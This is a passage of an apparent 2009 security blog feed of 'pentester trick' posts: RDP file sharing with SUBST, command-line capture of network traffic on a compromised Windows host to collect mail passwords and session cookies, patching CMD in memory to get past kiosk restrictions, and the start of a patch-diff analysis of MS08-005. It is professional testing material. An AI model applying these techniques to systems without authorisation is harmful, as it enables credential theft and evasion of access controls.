forgotten lore of MS-DOS, namely the SUBST command which is still available on Windows XP SP3.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;After having created a C:\TAZ directory on his laptop, the experienced pentester types at the CMD console prompt:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style="font-size:medium;"&gt;SUBST D: C:\TAZ&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;... and is now able to exchange with the remote target through a virtual "D:" drive, without getting owned.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Having compromised the remote network beyond hope, he now types:&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;&lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;SUBST D: /D&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;... and might have finished the assessment report by 5:00 PM, if he is wise enough NOT to use LaTeX.&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-4104014140639587724?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/4104014140639587724/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=4104014140639587724' title='5 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4104014140639587724'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4104014140639587724'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2009/08/pentester-trick-9-exchanging-files.html' title='Pentester trick #9: exchanging files through RDP (without getting owned)'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>5</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-7286966065792620073</id><published>2009-08-14T14:00:00.003+01:00</published><updated>2009-08-15T07:10:01.971+01:00</updated><title type='text'>Pentester trick #8: command-line sniffing made easy</title><content type='html'>&lt;div&gt;&lt;i&gt;(Preamble: this post applies to Windows operating system only. Linux has &lt;a href="http://www.tcpdump.org/tcpdump_man.html"&gt;tcpdump&lt;/a&gt;, Solaris has &lt;a href="http://docs.sun.com/app/docs/doc/819-2240/snoop-1m?a=view"&gt;snoop&lt;/a&gt;, etc.)&lt;/i&gt;&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Sometimes sniffing the network from a compromised remote target might become handy.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;For instance, it proved useful to me in the following pentest cases:&lt;/div&gt;&lt;div&gt;&lt;ul&gt;&lt;li&gt;Recovering POP/IMAP/SMTP passwords, when &lt;a href="http://www.nirsoft.net/utils/mailpv.html"&gt;classical tools&lt;/a&gt; are blocked by antivirus software (use of POP&lt;b&gt;S&lt;/b&gt;/IMAP&lt;b&gt;S&lt;/b&gt;/SMTP&lt;b&gt;S&lt;/b&gt; is still not widespread, especially on enterprise LANs).&lt;/li&gt;&lt;li&gt;Gathering HTTP session cookies or even passwords.&lt;/li&gt;&lt;/ul&gt;&lt;/div&gt;&lt;div&gt;But sometimes you have only command-line access to the remote target (through &lt;a href="http://technet.microsoft.com/en-us/sysinternals/bb897553.aspx"&gt;PSEXEC&lt;/a&gt;, &lt;a href="http://metasploit.org/"&gt;Metasploit&lt;/a&gt; and such).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Getting access to the GUI (through &lt;a href="http://www.realvnc.com/"&gt;VNC&lt;/a&gt;, &lt;a href="http://en.wikipedia.org/wiki/Remote_Desktop_Protocol"&gt;Remote Desktop&lt;/a&gt; or &lt;a href="http://www.dameware.com/downloads/"&gt;DameWare Mini Remote Control&lt;/a&gt;) is not practical, since the targetted user is actively working on the console (there are workarounds for this situation, but I am not going to discuss them right now).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;Installing network sniffing software, such as &lt;a href="http://www.wireshark.org/"&gt;WireShark&lt;/a&gt;/&lt;a href="http://www.winpcap.org/"&gt;Winpcap&lt;/a&gt;, is not practical because you have to setup the software (which makes change to the target system configuration) and you might end up in rebooting the system. Not to mention the x64 case, which requires signed drivers (latest x64 Winpcap drivers are signed, though).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;A lot of people are pretending to offer "rebootless &lt;a href="http://www.google.fr/search?q=command+line+sniffer"&gt;command line sniffers&lt;/a&gt;", but they are often unmaintained proof-of-concept tools, and professional pentesters cannot afford to crash a remote target.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;The most reliable and lightweight tool I know is ... the one made by Microsoft, a.k.a. &lt;a href="http://www.microsoft.com/downloads/details.aspx?FamilyID=983b941d-06cb-4658-b7f6-3088333d062f&amp;amp;displaylang=en"&gt;Microsoft Network Monitor&lt;/a&gt;. It relies on Windows built-in packet capture features, therefore leaving minimal footprint on the target system. It can run without install. It works on all Microsoft-supported Windows versions, in x86, x64 and even IA64 flavors.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;How to use it ?&lt;/div&gt;&lt;div&gt;&lt;ol&gt;&lt;li&gt;Download and install Microsoft Network Monitor on a standalone computer.&lt;/li&gt;&lt;li&gt;Upload &lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;nmconfig.exe&lt;/span&gt;&lt;/b&gt; and &lt;b&gt;&lt;span class="Apple-style-span" style="font-family:'courier new';"&gt;nmcap.exe&lt;/span&gt;&lt;/b&gt; on the target computer.&lt;/li&gt;&lt;li&gt;Enable the Microsoft Network Monitor Driver: &lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;nmconfig /install&lt;/span&gt;&lt;/b&gt;&lt;/li&gt;&lt;li&gt;Test: &lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;nmcap /displaynetworks&lt;/span&gt;&lt;/b&gt; &lt;/li&gt;&lt;li&gt;Sniff all TCP traffic on every local interface: &lt;span class="Apple-style-span"  style=" font-weight: bold; font-family:'courier new';"&gt;nmcap /network * /capture tcp /File tcp.cap&lt;/span&gt;&lt;/li&gt;&lt;li&gt;&lt;span class="Apple-style-span"  style=" font-weight: bold; font-family:'courier new';"&gt;&lt;span class="Apple-style-span"  style=" font-weight: normal; font-family:Georgia;"&gt;Disable the Microsoft Network Monitor Driver: &lt;b&gt;&lt;span class="Apple-style-span"  style="font-family:'courier new';"&gt;nmconfig /uninstall&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;/span&gt;&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;div&gt;&lt;i&gt;(Caveat: the capture file format is not Winpcap-compatible. However, Wireshark (and others) know how to read it.)&lt;/i&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-7286966065792620073?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/7286966065792620073/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=7286966065792620073' title='3 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/7286966065792620073'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/7286966065792620073'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2009/08/pentester-trick-7-command-line-sniffing.html' title='Pentester trick #8: command-line sniffing made easy'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>3</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-6108698071445012204</id><published>2009-05-27T21:03:00.003+01:00</published><updated>2009-05-27T21:18:43.747+01:00</updated><title type='text'>There is no Notepad trick</title><content type='html'>&lt;div&gt;You might have heard that Notepad will fail to display correctly a file holding this single line: "&lt;a href="http://digg.com/software/_this_app_can_break_Are_there_any_other_forbidden_strings_in_Notepad_"&gt;this app can break&lt;/a&gt;" (or any sentence built on the same 4/3/3/5 scheme).&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/test1_before.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 240px; height: 78px;" src="http://newsoft.dyndns.org/tech/test1_before.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/test1_after.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 240px; height: 77px;" src="http://newsoft.dyndns.org/tech/test1_after.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;This issue could be tracked down to ANSI vs. Unicode text autodetection.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;/div&gt;&lt;div&gt;However, there is a much cooler Notepad trick in the latest issue of &lt;a href="http://www.2600.com/"&gt;2600 magazine&lt;/a&gt;. If the first text line happens to be ".LOG", Notepad will automatically append last modification time at the end of the file (as documented in &lt;a href="http://support.microsoft.com/kb/81067"&gt;KB81067&lt;/a&gt;). This feature is available from Windows 2.03.&lt;/div&gt;&lt;div&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/test2_before.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 244px; height: 150px;" src="http://newsoft.dyndns.org/tech/test2_before.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/test2_after.png"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 244px; height: 150px;" src="http://newsoft.dyndns.org/tech/test2_after.png" border="0" alt="" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;/div&gt;This is not a pentester's trick by itself. But I still love it :)&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-6108698071445012204?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/6108698071445012204/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=6108698071445012204' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/6108698071445012204'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/6108698071445012204'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2009/05/there-is-no-notepad-trick.html' title='There is no Notepad trick'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-4882766769594994381</id><published>2009-01-19T09:00:00.000+01:00</published><updated>2009-01-19T09:00:01.385+01:00</updated><title type='text'>Pentester trick #7: re-enabling CMD &amp; REGEDIT</title><content type='html'>There are 2 settings that are commonly used by system administrators in "restricted", kiosk-like environments: &lt;a href="http://www.microsoft.com/technet/prodtechnol/windows2000serv/reskit/regentry/93465.mspx?mfr=true"&gt;DisableCMD&lt;/a&gt; and &lt;a href="http://www.microsoft.com/technet/prodtechnol/windows2000serv/reskit/regentry/93466.mspx?mfr=true"&gt;DisableRegistryTools&lt;/a&gt;, which are both to be found under:&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Policies\System&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;As their names imply, those settings disable the use of CMD.EXE and REGEDIT.EXE.&lt;br /&gt;&lt;br /&gt;Those settings are enforced by CMD and REGEDIT themselves. Therefore, alternatives such as &lt;a href="http://sourceforge.net/projects/console/"&gt;Console&lt;/a&gt; and &lt;a href="http://www.torchsoft.com/en/rw_information.html"&gt;Registry Workshop&lt;/a&gt; will still run fine. However, it might not always be handy to bring new applications on the target system. So, how do we recover CMD and REGEDIT applications locally ?&lt;br /&gt;&lt;br /&gt;It would be easy to find binary checks inside both applications and to patch them, but a good pentester is lazier than that.&lt;br /&gt;&lt;br /&gt;After making a copy of both applications, it is enough to replace a single character within "DisableCMD" or "DisableRegistryTools" strings. I really love those stupid tricks :) The question is "how ?" ... and surprisingly, the answer is not obvious.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;DEBUG/EDLIN: they won't handle files over 64KB.&lt;/li&gt;&lt;li&gt;".COM" application written in pure assembly using DEBUG: cool, but a bit tedious.&lt;br /&gt;&lt;/li&gt;&lt;li&gt;QBASIC application: there is no QBASIC shipped with Windows any more :(&lt;br /&gt;&lt;/li&gt;&lt;li&gt;Notepad/Wordpad: they mess up binary files on write back.&lt;/li&gt;&lt;li&gt;VBScript: is poor at handling binary files.&lt;/li&gt;&lt;li&gt;VBA inside an Office application: cool, but you need to have Office installed beforehand.&lt;/li&gt;&lt;li&gt;NTSD: does not support the &lt;a href="http://www.dumpanalysis.org/blog/index.php/2008/04/15/windbg-as-a-binary-editor/"&gt;.readmem/.writemem&lt;/a&gt; commands.&lt;br /&gt;&lt;/li&gt;&lt;/ul&gt;In most cases, the best course of action is to run CMD inside NTSD (hint: you can drag-and-drop CMD over NTSD, which is sometimes handy in very restricted "kiosk" modes):&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;C:\&gt; ntsd cmd.exe&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(...)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;0:000&gt; lm&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;start    end        module name&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;4ad00000 4ad64000   cmd          (deferred)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;77be0000 77c38000   msvcrt       (deferred)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;77ef0000 77f37000   gdi32        (deferred)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;7c800000 7c905000   kernel32     (deferred)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;7c910000 7c9c7000   ntdll        (export symbols)           ntdll.dll&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;7e390000 7e420000   user32       (deferred)&lt;br /&gt;&lt;br /&gt;&lt;/span&gt;&lt;span style="font-family:courier new;"&gt;0:000&gt; s 4ad00000 L 64000 44 00 69 00 73 00 61 00 62 00 6C 00 65 00 43 00 4D 00&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;4ad14944  44 00 69 00 73 00 61 00-62 00 6c 00 65 00 43 00  D.i.s.a.b.l.e.C.&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;0:000&gt; e 4ad14944 41&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;&lt;br /&gt;0:000&gt; g&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(...)&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;Microsoft Windows XP [version 5.1.2600]&lt;/span&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;(C) Copyright 1985-2001 Microsoft Corp.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-family:courier new;"&gt;C:\temp&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;I'll be glad if someone comes with another solution :)&lt;br /&gt;&lt;br /&gt;Note: surprisingly, the "DisableCMD" string lies within the code (".text") section.&lt;br /&gt;&lt;br /&gt;Note for kiosk designers: to prevent users from running arbitrary applications, &lt;a href="http://technet.microsoft.com/en-us/library/bb457006.aspx"&gt;Software Restriction Policies&lt;/a&gt; would scale more easily.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/26480225-4882766769594994381?l=newsoft-tech.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://newsoft-tech.blogspot.com/feeds/4882766769594994381/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.blogger.com/comment.g?blogID=26480225&amp;postID=4882766769594994381' title='15 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4882766769594994381'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/26480225/posts/default/4882766769594994381'/><link rel='alternate' type='text/html' href='http://newsoft-tech.blogspot.com/2009/01/pentester-trick-7-re-enabling-cmd.html' title='Pentester trick #7: re-enabling CMD &amp; REGEDIT'/><author><name>newsoft</name><uri>http://www.blogger.com/profile/04331742158137961313</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://newsoft.dyndns.org/blog.jpg'/></author><thr:total>15</thr:total></entry><entry><id>tag:blogger.com,1999:blog-26480225.post-3144140558585169589</id><published>2009-01-05T09:00:00.002+01:00</published><updated>2009-01-05T09:00:03.824+01:00</updated><title type='text'>Lessons learned from MS08-005</title><content type='html'>&lt;span style="font-size:85%;"&gt;&lt;span style="font-style: italic;"&gt;[ This post has been 80% complete for 1 year. And I swear the cleanup my "todo list" in 2009 :) ]&lt;/span&gt;&lt;br /&gt;&lt;/span&gt;&lt;br /&gt;&lt;a href="http://www.microsoft.com/technet/security/Bulletin/MS08-005.mspx"&gt;MS08-005&lt;/a&gt; (KB 942831) is a local privilege escalation bug affecting:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;IIS 5.0 (Windows 2000)&lt;/li&gt;&lt;li&gt;IIS 5.1 (Windows XP)&lt;/li&gt;&lt;li&gt;IIS 6.0 (Windows 2003)&lt;/li&gt;&lt;li&gt;IIS 7.0 (Vista)&lt;/li&gt;&lt;/ul&gt;This particular bug caught my attention for several reasons:&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Local bugs tend to be more easily and reliably exploitable ;&lt;/li&gt;&lt;li&gt;The bugfix is very small in size ;&lt;/li&gt;&lt;li&gt;This bug made up his way into Vista, despite manual and automated code analysis.&lt;/li&gt;&lt;/ul&gt;Let's play with Windows XP SP2 version of this bug!&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt; &lt;span style="font-weight: bold;"&gt;BinDiff-ing&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;First step is to install the patch, and to recover backuped files. In our case, there is only 1 file (&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;infocomm.dll&lt;/span&gt;&lt;/span&gt;), that can be found in:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;C:\windows\$NtUninstallKB942831$&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Second step is to diff both original and patched files. If you happen to have a legit &lt;a href="http://www.hex-rays.com/"&gt;IDA Pro&lt;/a&gt; copy, Tenable &lt;a href="http://cgi.tenablesecurity.com/tenable/patchdiff.php"&gt;PatchDiff2&lt;/a&gt; is the best free plugin available out there. Otherwise, you'll have to fall back on &lt;a href="http://research.eeye.com/html/tools/RT20060801-1.html"&gt;eEye Binary Diffing Suite&lt;/a&gt;. Screenshots below are taken from &lt;a href="http://www.zynamics.com/"&gt;BinDiff2&lt;/a&gt;.&lt;br /&gt;&lt;br /&gt;Only 2 functions were modified by the patch:&lt;br /&gt;&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;int __stdcall CVRootDirMonitorEntry::FileChanged(char *lpString2, int)&lt;/span&gt; &lt;span style="font-family:courier new;"&gt;int __thiscall CVRootDirMonitorEntry::ActOnNotification(unsigned long, unsigned long)&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;span style="font-size:130%;"&gt;&lt;span style="font-weight: bold;"&gt;Understanding the change&lt;/span&gt; &lt;/span&gt;&lt;br /&gt;&lt;br /&gt;We will focus on &lt;span style=";font-family:courier new;font-size:85%;"  &gt;FileChanged()&lt;/span&gt; function, in which &lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;strlen()&lt;/span&gt;&lt;/span&gt;/&lt;span style="font-size:85%;"&gt;&lt;span style="font-family:courier new;"&gt;strcpy()&lt;/span&gt;&lt;/span&gt; operations were fixed (as shown in the graph below). Note: both APIs were inlined.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://newsoft.dyndns.org/tech/diff_FileChanged.png"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer;" src="http://newsoft.dyndns.org/tech/diff_FileChanged.png" alt="" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;Code changes can also be spotted using the excellent &lt;a href="http://www.hex-rays.com/"&gt;Hex-Rays&lt;/a&gt; decompilation plugin.&lt;br /&gt;&lt;br /&gt;Unpatched version:&lt;br /&gt;&lt;br /&gt;&lt;span style="background: white none repeat scroll 0% 50%; white-space: pre; -moz-background-clip: -moz-initial; -moz-background-origin: -moz-initial; -moz-background-inline-policy: -moz-initial;font-family:FixedSys;color:blue;"  &gt;&lt;span style="color:navy;"&gt;  if ( &lt;/span&gt;_strchr&lt;span style="color:navy;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;input_filename&lt;/span&gt;&lt;span style="color:navy;"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;'~'&lt;/span&gt;&lt;span style="color:navy;"&gt;) )&lt;br /&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;result &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;ConvertToLongFileName&lt;span style="color:navy;"&gt;(*((&lt;/span&gt;&lt;span style="color:gray;"&gt;char **&lt;/span&gt;&lt;span style="color:navy;"&gt;)&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;long_filename &lt;/span&gt;&lt;span style="color:navy;"&gt;+ 3), &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;input_filename&lt;/span&gt;&lt;span style="color:navy;"&gt;, &amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;if ( !&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;result &lt;/span&gt;&lt;span style="color:navy;"&gt;)&lt;br /&gt;return &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;result&lt;/span&gt;&lt;span style="color:navy;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v7 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;_strrchr&lt;span style="color:navy;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;input_filename&lt;/span&gt;&lt;span style="color:navy;"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;'\\'&lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;if ( &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v7 &lt;/span&gt;&lt;span style="color:navy;"&gt;)&lt;br /&gt;{&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v9 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v7 &lt;/span&gt;&lt;span style="color:navy;"&gt;- &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;input_filename&lt;/span&gt;&lt;span style="color:navy;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v15 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v7 &lt;/span&gt;&lt;span style="color:navy;"&gt;- &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;input_filename &lt;/span&gt;&lt;span style="color:navy;"&gt;+ 1;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v16 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v7 &lt;/span&gt;&lt;span style="color:navy;"&gt;- &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;input_filename &lt;/span&gt;&lt;span style="color:navy;"&gt;+ 1;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v15 &gt;&gt;&lt;/span&gt;&lt;span style="color:navy;"&gt;= 2;&lt;br /&gt;&lt;/span&gt;memcpy&lt;span style="color:navy;"&gt;(&amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v25&lt;/span&gt;&lt;span style="color:navy;"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;input_filename&lt;/span&gt;&lt;span style="color:navy;"&gt;, 4 * &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v15&lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v17 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;input_filename&lt;/span&gt;&lt;span style="color:navy;"&gt;[4 * &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v15&lt;/span&gt;&lt;span style="color:navy;"&gt;];&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v18 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v25 &lt;/span&gt;&lt;span style="color:navy;"&gt;+ 4 * &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v15&lt;/span&gt;&lt;span style="color:navy;"&gt;;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v19 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v16 &amp;amp; &lt;/span&gt;&lt;span style="color:navy;"&gt;3;&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v8 &lt;/span&gt;&lt;span style="color:navy;"&gt;= &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;FindFileData&lt;/span&gt;&lt;span style="color:navy;"&gt;.cFileName;&lt;br /&gt;&lt;/span&gt;memcpy&lt;span style="color:navy;"&gt;(&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v18&lt;/span&gt;&lt;span style="color:navy;"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v17&lt;/span&gt;&lt;span style="color:navy;"&gt;, &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v19&lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;do&lt;br /&gt;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v20 &lt;/span&gt;&lt;span style="color:navy;"&gt;= *&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v8&lt;/span&gt;&lt;span style="color:navy;"&gt;++;&lt;br /&gt;while ( &lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v20 &lt;/span&gt;&lt;span style="color:navy;"&gt;);&lt;br /&gt;&lt;/span&gt;memcpy&lt;span style="color:navy;"&gt;(&amp;amp;&lt;/span&gt;&lt;span style="color: rgb(128, 128, 255);"&gt;v26&lt;/span&gt;&lt;span 